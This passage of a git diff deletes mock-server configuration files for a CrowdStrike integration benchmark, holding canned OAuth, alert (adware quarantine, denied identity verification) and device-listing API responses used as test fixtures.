-      - 8090
-    volumes:
-      - ./files:/files:ro
-    environment:
-      PORT: '8090'
-    command:
-      - http-server
-      - --addr=:8090
-      - --config=/files/config-vulnerability.yml
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-alert.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-alert.yml
deleted file mode 100644
index 3857adee1a..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-alert.yml
+++ /dev/null
@@ -1,475 +0,0 @@
-rules:
-  - path: /oauth2/token
-    methods: ['POST']
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - 'application/json'
-        body: |
-          {"access_token":"xxxx","expires_in":3600,"token_type":"Bearer","refresh_token":"yyyy"}
-  - path: /alerts/combined/alerts/v1
-    methods: ['POST']
-    request_body: /.*"page-2"*/
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - application/json
-        body: |-
-          {{ minify_json `
-          {
-            "meta": {
-              "pagination": {
-                "total": 3,
-                "limit": 1
-              }
-            },
-            "errors": [],
-            "resources": [
-              {
-                "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                "alleged_filetype": "exe",
-                "cid": "92012896127c4a948236ba7601b886b0",
-                "cloud_indicator": "false",
-                "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"",
-                "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                "confidence": 10,
-                "context_timestamp": "2023-11-03T18:00:31Z",
-                "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778",
-                "crawl_edge_ids": {
-                  "Sensor": [
-                    "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N",
-                    "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<WalY1K_h%QDBBF;_e7S!!*'!",
-                    "KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr",
-                    "N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!",
-                    "N6B%O'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbCuNjL#gW&=)E4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vfc.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N",
-                    "N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'",
-                    "N6CU&%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_='rK/'hA\"r+L5i-*Ut5PI!!*'!",
-                    "N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr",
-                    "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'",
-                    "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06/I6cl\"d.&=To@9kS!prs8N"
-                  ]
-                },
-                "crawl_vertex_ids": {
-                  "Sensor": [
-                    "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                    "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                    "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                    "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                    "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135",
-                    "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
-                    "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993",
-                    "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"
-                  ]
-                },
-                "crawled_timestamp": "2023-11-03T19:00:23.985020992Z",
-                "created_timestamp": "2023-11-03T18:01:23.995794943Z",
-                "data_domains": [
-                  "Endpoint"
-                ],
-                "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
-                "device": {
-                  "agent_load_flags": "0",
-                  "agent_local_time": "2023-10-12T03:45:57.753Z",
-                  "agent_version": "7.04.17605.0",
-                  "bios_manufacturer": "ABC",
-                  "bios_version": "F8CN42WW(V2.05)",
-                  "cid": "92012896127c4a948236ba7601b886b0",
-                  "config_id_base": "65994763",
-                  "config_id_build": "17605",
-                  "config_id_platform": "3",
-                  "device_id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                  "external_ip": "81.2.69.142",
-                  "first_seen": "2023-04-07T09:36:36Z",
-                  "groups": [
-                    "18704e21288243b58e4c76266d38caaf"
-                  ],
-                  "hostinfo": {
-                    "active_directory_dn_display": [
-                      "WinComputers",
-                      "WinComputers\\ABC"
-                    ],
-                    "domain": "ABC.LOCAL"
-                  },
-                  "hostname": "ABC709-1175",
-                  "last_seen": "2023-11-03T17:51:42Z",
-                  "local_ip": "81.2.69.142",
-                  "mac_address": "ab-21-48-61-05-b2",
-                  "machine_domain": "ABC.LOCAL",
-                  "major_version": "10",
-                  "minor_version": "0",
-                  "modified_timestamp": "2023-11-03T17:53:43Z",
-                  "os_version": "Windows11",
-                  "ou": [
-                    "ABC",
-                    "WinComputers"
-                  ],
-                  "platform_id": "0",
-                  "platform_name": "Windows",
-                  "pod_labels": null,
-                  "product_type": "1",
-                  "product_type_desc": "Workstation",
-                  "site_name": "Default-First-Site-Name",
-                  "status": "normal",
-                  "system_manufacturer": "LENOVO",
-                  "system_product_name": "20VE"
-                },
-                "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                "grandparent_details": {
-                  "cmdline": "C:\\Windows\\system32\\userinit.exe",
-                  "filename": "userinit.exe",
-                  "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe",
-                  "local_process_id": "4328",
-                  "md5": "b07f77fd3f9828b2c9d61f8a36609741",
-                  "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135",
-                  "process_id": "392734873135",
-                  "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                  "timestamp": "2023-10-30T16:49:19Z",
-                  "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                  "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                  "user_name": "yuvraj.mahajan"
-                },
-                "has_script_or_module_ioc": "true",
-                "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                "ioc_context": [
-                  {
-                    "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                    "ioc_source": "library_load",
-                    "ioc_type": "hash_sha256",
-                    "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "type": "module"
-                  }
-                ],
-                "ioc_values": [],
-                "is_synthetic_quarantine_disposition": true,
-                "local_process_id": "17076",
-                "logon_domain": "ABSYS",
-                "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-                "name": "PrewittPupAdwareSensorDetect-Lowest",
-                "objective": "FalconDetectionMethod",
-                "parent_details": {
-                  "cmdline": "C:\\WINDOWS\\Explorer.EXE",
-                  "filename": "explorer.exe",
-                  "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
-                  "local_process_id": "1040",
-                  "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
-                  "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
-                  "process_id": "392736520876",
-                  "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                  "timestamp": "2023-11-03T18:00:32Z",
-                  "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                  "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                  "user_name": "mohit.jha"
-                },
-                "parent_process_id": "392736520876",
-                "pattern_disposition": 2176,
-                "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.",
-                "pattern_disposition_details": {
-                  "blocking_unsupported_or_disabled": false,
-                  "bootup_safeguard_enabled": false,
-                  "critical_process_disabled": false,
-                  "detect": false,
-                  "fs_operation_blocked": false,
-                  "handle_operation_downgraded": false,
-                  "inddet_mask": false,
-                  "indicator": false,
-                  "kill_action_failed": false,
-                  "kill_parent": false,
-                  "kill_process": false,
-                  "kill_subprocess": false,
-                  "operation_blocked": false,
-                  "policy_disabled": false,
-                  "process_blocked": true,
-                  "quarantine_file": true,
-                  "quarantine_machine": false,
-                  "registry_operation_blocked": false,
-                  "rooting": false,
-                  "sensor_only": false,
-                  "suspend_parent": false,
-                  "suspend_process": false
-                },
-                "pattern_id": 5761,
-                "platform": "Windows",
-                "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==",
-                "process_end_time": "1699034421",
-                "process_id": "399748687993",
-                "process_start_time": "1699034413",
-                "product": "epp",
-                "quarantined_files": [
-                  {
-                    "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                    "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "state": "quarantined"
-                  }
-                ],
-                "scenario": "NGAV",
-                "severity": 30,
-                "sha1": "0000000000000000000000000000000000000000",
-                "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                "show_in_ui": true,
-                "source_products": [
-                  "FalconInsight"
-                ],
-                "source_vendors": [
-                  "CrowdStrike"
-                ],
-                "status": "new",
-                "tactic": "MachineLearning",
-                "tactic_id": "CSTA0004",
-                "technique": "Adware/PUP",
-                "technique_id": "CST0000",
-                "timestamp": "2023-11-03T18:00:22.328Z",
-                "tree_id": "1931778",
-                "tree_root": "38687993",
-                "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993",
-                "type": "ldt",
-                "updated_timestamp": "2023-11-03T19:00:23.985007341Z",
-                "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                "user_name": "mohit.jha"
-              }
-            ]
-          }
-          `}}
-  - path: /alerts/combined/alerts/v1
-    methods: ['POST']
-    request_body: /.*"page-1"*/
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - application/json
-        body: |-
-          {{ minify_json `
-          {
-            "meta": {
-              "pagination": {
-                "total": 3,
-                "limit": 1,
-                "after": "page-2"
-              }
-            },
-            "errors": [],
-            "resources": [
-              {
-                "agent_id": "38293534662e48c99f33c61631b3536d",
-                "aggregate_id": "aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
-                "cid": "4446934rf3fdb64ec3056ddfb96e",
-                "composite_id": "874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
-                "confidence": 80,
-                "context_timestamp": "2024-08-16T18:43:44.242Z",
-                "crawled_timestamp": "2024-08-16T18:49:02.798354466Z",
-                "created_timestamp": "2024-08-16T18:45:02.987127397Z",
-                "data_domains": [
-                  "Identity"
-                ],
-                "description": "A user denied a policy identity verification request",
-                "display_name": "Identity verification denied",
-                "end_time": "2024-08-16T18:43:44.242Z",
-                "falcon_host_link": "https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a",
-                "id": "ind:4486934rf3fmb64eg566ddfb96e:5976J98F-D91B-ABC-FF9-1191C9021fdA1E7",
-                "idp_policy_mfa_factor_type": "68709",
-                "idp_policy_mfa_provider": "10",
-                "idp_policy_rule_id": "1B82F2DE-2A08-49E0-8F85-AD46996F9A65",
-                "idp_policy_rule_name": "admin - RDP Access to TIER-0 Servers",
-                "name": "IdpPolicyIdentityVerificationDenied",
-                "objective": "Gain Access",
-                "pattern_id": 51143,
-                "poly_id": "AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==",
-                "product": "idp",
-                "scenario": "suspicious_activity",
-                "seconds_to_resolved": 3,
-                "seconds_to_triaged": 3,
-                "severity": 79,
-                "severity_name": "High",
-                "show_in_ui": true,
-                "source_account_azure_id": "65ddx-c454-45f9-9034-Fdf34353",
-                "source_account_domain": "NET.example.com",
-                "source_account_name": "admin.example",
-                "source_account_object_sid": "S-14-5424-21-dfaf3-234343-3434-1567733",
-                "source_account_sam_account_name": "admin.abcdef",
-                "source_account_upn": "admin.abcdef@example.com",
-                "source_endpoint_account_object_guid": "E436B3F0-078C-4629-9437-D3E3169147C0",
-                "source_endpoint_address_ip4": "81.2.69.144",
-                "source_endpoint_host_name": "ABDC454.net.example.com",
-                "source_endpoint_ip_address": "81.2.69.144",
-                "source_endpoint_sensor_id": "38293534662e48c99f33c61631b3536d",
-                "source_products": [
-                  "Falcon Identity Protection"
-                ],
-                "source_vendors": [
-                  "CrowdStrike"
-                ],
-                "start_time": "2024-08-19T18:43:44.242Z",
-                "status": "new",
-                "tactic": "Credential Access",
-                "tactic_id": "TA0006",
-                "technique": "Brute Force",
-                "technique_id": "T1110",
-                "tags": [
-                  "falcon_complete"
-                ],
-                "target_account_name": "HFJFJFFFFFFF$",
-                "target_endpoint_account_object_guid": "AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E",
-                "target_endpoint_account_object_sid": "S-1-5-21-746137067-1844237615-1801674531-298236",
-                "target_endpoint_host_name": "GH787.net.example.com",
-                "target_endpoint_sensor_id": "ac89a368e77a4fa5837b53c7f11fc9e7",
-                "timestamp": "2024-08-19T18:44:01.1Z",
-                "type": "idp-user-endpoint-app-info",
-                "updated_timestamp": "2024-08-19T18:49:02.798344752Z",
-                "user_name": "admin.abcdef",
-                "activity_browser": "Edge 126.0.0",
-                "activity_device": "LAPTOP-AP7299QV",
-                "activity_os": "Windows",
-                "active_directory_authentication_method": "5",
-                "activity_id": "2A8A7C96-0F17-412C-8105-94542784E00D",
-                "alert_attributes": "0",
-                "location_country_code": "US",
-                "location_latitude_as_int": 340726,
-                "location_longitude_as_int": -1182610,
-                "model_anomaly_indicators": [
-                  "ACCOUNT_IMPOSSIBLE_VELOCITY",
-                  "ENVIRONMENT_UNUSUAL_IP",
-                  "ENVIRONMENT_UNUSUAL_ISP_DOMAIN",
-                  "ISP_DATACENTER_CLASSIFICATION"
-                ],
-                "ldap_search_query_attack": "16",
-                "protocol_anomaly_classification": "1",
-                "source_account_object_guid": "9F2CE16C-4A78-42E6-8565-87147707EE79",
-                "source_endpoint_account_object_sid": "S-1-5-21-111111111-2222222-1417001333-101158",
-                "source_endpoint_ip_reputation": "128",
-                "source_ip_isp_classification": "9",
-                "source_ip_isp_domain": "sioru.com",
-                "target_domain_controller_host_name": "APINTAL19DC01",
-                "target_domain_controller_object_guid": "45A24DB7-6CD3-48C5-974F-A97159E7E2B2",
-                "target_domain_controller_object_sid": "S-1-5-21-111111111-2222222-1417001333-85512",
-                "target_service_access_identifier": "HOST/admin.example.com"
-              }
-            ]
-          }
-          `}}
-  - path: /alerts/combined/alerts/v1
-    methods: ['POST']
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - application/json
-        body: |-
-          {{ minify_json `
-          {
-            "meta": {
-              "pagination": {
-                "total": 3,
-                "limit": 1,
-                "after": "page-1"
-              }
-            },
-            "errors": [],
-            "resources": [
-              {
-                "aggregate_id": "aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9",
-                "agent_id": "58293534772e48c99f33c61631b3536d",
-                "cid": "4446934rf3fdb64ec3056ddfb96e",
-                "context_timestamp": "2024-08-19T18:43:44.242Z",
-                "composite_id": "874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
-                "crawled_timestamp": "2024-08-19T18:49:02.798354466Z",
-                "created_timestamp": "2024-08-19T18:45:02.987127397Z",
-                "data_domains": [
-                  "Identity"
-                ],
-                "description": "A user denied a policy identity verification request",
-                "display_name": "Identity verification denied",
-                "end_time": "2024-08-19T18:43:44.242Z",
-                "falcon_host_link": "https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a",
-                "id": "ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429",
-                "idp_policy_mfa_factor_type": "42669",
-                "idp_policy_mfa_provider": "11",
-                "idp_policy_rule_id": "123324-343-4dfa9E0-8F85-dfaa3242",
-                "idp_policy_rule_name": "admin - RDP Access to TIER-0 Servers",
-                "name": "IdpPolicyIdentityVerificationDenied",
-                "objective": "Gain Access",
-                "pattern_id": 45897,
-                "poly_id": "MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==",
-                "product": "idp",
-                "scenario": "suspicious_activity",
-                "seconds_to_resolved": 0,
-                "seconds_to_triaged": 0,
-                "severity": 79,
-                "severity_name": "Medium",
-                "show_in_ui": true,
-                "source_account_azure_id": "65ddx-c454-324d-9034-Fdf34353",
-                "source_account_domain": "BCD.example.com",
-                "source_account_name": "admin.example",
-                "source_account_object_sid": "S-14-5424-21-dfaf3-234343-3434-1117733",
-                "source_account_sam_account_name": "admin.abcdef",
-                "source_account_upn": "admin.abcdef@example.com",
-                "source_endpoint_account_object_guid": "FDHJJ343-098C-4629-9437-DD3424GHJ",
-                "source_endpoint_address_ip4": "81.2.69.144",
-                "source_endpoint_host_name": "ABDC454.net.example.com",
-                "source_endpoint_ip_address": "81.2.69.144",
-                "source_endpoint_sensor_id": "38293523261gh48c99ffd234c6190123536e",
-                "source_products": [
-                  "Falcon Identity Protection"
-                ],
-                "source_vendors": [
-                  "CrowdStrike"
-                ],
-                "start_time": "2024-08-19T18:43:44.242Z",
-                "status": "new",
-                "tactic": "Credential Access",
-                "tactic_id": "TA0006",
-                "technique": "Brute Force",
-                "technique_id": "T1110",
-                "tags": [
-                  "falcon_complete"
-                ],
-                "target_account_name": "HFJFJFFFFFFF$",
-                "target_endpoint_account_object_guid": "AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536",
-                "target_endpoint_account_object_sid": "S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236",
-                "target_endpoint_host_name": "GH787.abc.example.com",
-                "target_endpoint_sensor_id": "afdsasf3423432nndv3432v",
-                "timestamp": "2024-08-19T18:44:01.1Z",
-                "type": "idp-user-endpoint-app-info",
-                "updated_timestamp": "2024-08-19T18:49:02.798344752Z",
-                "user_name": "admin.abcdef",
-                "activity_browser": "Edge 126.0.0",
-                "activity_device": "LAPTOP-ADFVEJM234V",
-                "activity_os": "Windows",
-                "active_directory_authentication_method": "4",
-                "activity_id": "3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D",
-                "alert_attributes": "0",
-                "location_country_code": "US",
-                "location_latitude_as_int": 320316,
-                "location_longitude_as_int": -12729080,
-                "model_anomaly_indicators": [
-                  "ACCOUNT_IMPOSSIBLE_VELOCITY",
-                  "ENVIRONMENT_UNUSUAL_IP",
-                  "ENVIRONMENT_UNUSUAL_ISP_DOMAIN",
-                  "ISP_DATACENTER_CLASSIFICATION"
-                ],
-                "ldap_search_query_attack": "16",
-                "protocol_anomaly_classification": "1",
-                "source_account_object_guid": "78HF9842-HGG5-324F-9565-GJD47324",
-                "source_endpoint_account_object_sid": "S-1-4-21-111111111-2222222-14171121333-1045999",
-                "source_endpoint_ip_reputation": "118",
-                "source_ip_isp_classification": "8",
-                "source_ip_isp_domain": "abc.com",
-                "target_domain_controller_host_name": "GHPOTAL12578",
-                "target_domain_controller_object_guid": "59B24AA7-4GH8-f7H0-994F-B90159E7M2K1",
-                "target_domain_controller_object_sid": "S-2-8-21-333333-2222222-3431-95511",
-                "target_service_access_identifier": "HOST/root.demo.com"
-              }
-            ]
-          }
-          `}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-host.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-host.yml
deleted file mode 100644
index 2b27c19c1e..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-host.yml
+++ /dev/null
@@ -1,769 +0,0 @@
-rules:
-  - path: /oauth2/token
-    methods: ['POST']
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - 'application/json'
-        body: |
-          {"access_token":"xxxx","expires_in":3600,"token_type":"Bearer","refresh_token":"yyyy"}
-  # test cases for /devices/combined/devices/v1 endpoint 
-  - path: /devices/combined/devices/v1
-    methods: ['GET']
-    query_params:
-      offset: page-2
-      limit: 1
-      sort: modified_timestamp|asc
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - application/json
-        body: |-
-          {{ minify_json `
-          {
-            "meta": {
-              "pagination": {
-                "total": 3,
-                "limit": 1,
-                "offset": ""
-              }
-            },
-            "errors": [],
-            "resources": [
-              {
-                "agent_load_flags": "0",
-                "agent_local_time": "2023-11-07T04:51:16.678Z",
-                "agent_version": "7.05.17603.0",
-                "bios_manufacturer": "ABCInc.",
-                "bios_version": "2020.0.1.0.0(iBridge:22.11.000.0.0,0)",
-                "chassis_type": "9",
-                "chassis_type_desc": "Laptop",
-                "cid": "92012896127c4948236ba7601b886b0",
-                "config_id_base": "6594763",
-                "config_id_build": "1703",
-                "config_id_platform": "4",
-                "connection_ip": "81.2.69.192",
-                "cpu_signature": "460517",
-                "device_id": "3114433dbce478ca48d9a828b9b34be",
-                "device_policies": {
-                  "device_control": {
-                    "applied": true,
-                    "applied_date": "2023-06-20T08:45:26.341093915Z",
-                    "assigned_date": "2023-06-20T08:43:47.736146738Z",
-                    "policy_id": "2f88daf0177f467dae69262a5ce71775",
-                    "policy_type": "device-control"
-                  },
-                  "firewall": {
-                    "applied": true,
-                    "applied_date": "2023-09-11T10:33:44.174488832Z",
-                    "assigned_date": "2023-09-11T10:32:47.853976945Z",
-                    "policy_id": "1ee301f7e3e24e96ad6a23c73aaac1e3",
-                    "policy_type": "firewall",
-                    "rule_set_id": "1ee301f7e3e24e96ad6a23c73aaac1e3"
-                  },
-                  "global_config": {
-                    "applied": true,
-                    "applied_date": "2023-11-07T04:52:59.515775409Z",
-                    "assigned_date": "2023-11-07T04:51:18.94671252Z",
-                    "policy_id": "7e3078b60976486cac5dc998808d9135",
-                    "policy_type": "globalconfig",
-                    "settings_hash": "f01def74"
-                  },
-                  "prevention": {
-                    "applied": true,
-                    "applied_date": "2023-06-08T10:04:47.643357971Z",
-                    "assigned_date": "2023-06-08T10:03:49.505180252Z",
-                    "policy_id": "1024fac1b279424fa7300b8ac2d56be5",
-                    "policy_type": "prevention",
-                    "rule_groups": [],
-                    "settings_hash": "f7a54ca1"
-                  },
-                  "remote_response": {
-                    "applied": true,
-                    "applied_date": "2023-06-08T10:04:47.01735027Z",
-                    "assigned_date": "2023-06-08T10:03:49.505163572Z",
-                    "policy_id": "dabb4def99034f11b9b3d52271584c9f",
-                    "policy_type": "remote-response",
-                    "settings_hash": "8a548e5e"
-                  },
-                  "sensor_update": {
-                    "applied": true,
-                    "applied_date": "2023-11-07T04:52:59.659583066Z",
-                    "assigned_date": "2023-11-07T04:47:43.342175341Z",
-                    "policy_id": "64bfa2bbcd4e46da92a66b107933da11",
-                    "policy_type": "sensor-update",
-                    "settings_hash": "tagged|18;101",
-                    "uninstall_protection": "ENABLED"
-                  }
-                },
-                "external_ip": "81.2.69.192",
-                "first_seen": "2023-06-08T10:00:19Z",
-                "group_hash": "b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77",
-                "groups": [
-                  "182388a8dbea4c44b5e019cfd32c2695"
-                ],
-                "hostname": "CLM101-131.local",
-                "kernel_version": "22.6.0",
-                "last_seen": "2023-11-07T10:25:24Z",
-                "local_ip": "81.2.69.142",
-                "mac_address": "14-7d-da-ad-ac-71",
-                "machine_domain": "SYS",
-                "major_version": "22",
-                "meta": {
-                  "version": "6002",
-                  "version_string": "7:43570272778"
-                },
-                "minor_version": "6",
-                "modified_timestamp": "2023-11-07T10:26:53Z",
-                "os_build": "22G120",
-                "os_version": "Ventura(13)",
-                "platform_id": "1",
-                "platform_name": "Mac",
-                "policies": [
-                  {
-                    "applied": true,
-                    "applied_date": "2023-06-08T10:04:47.643357971Z",
-                    "assigned_date": "2023-06-08T10:03:49.505180252Z",
-                    "policy_id": "1024fac1b279424fa7300b8ac2d56be5",
-                    "policy_type": "prevention",
-                    "rule_groups": [],
-                    "settings_hash": "f7a54ca1"
-                  }
-                ],
-                "product_type_desc": "Workstation",
-                "provision_status": "Provisioned",
-                "reduced_functionality_mode": "no",
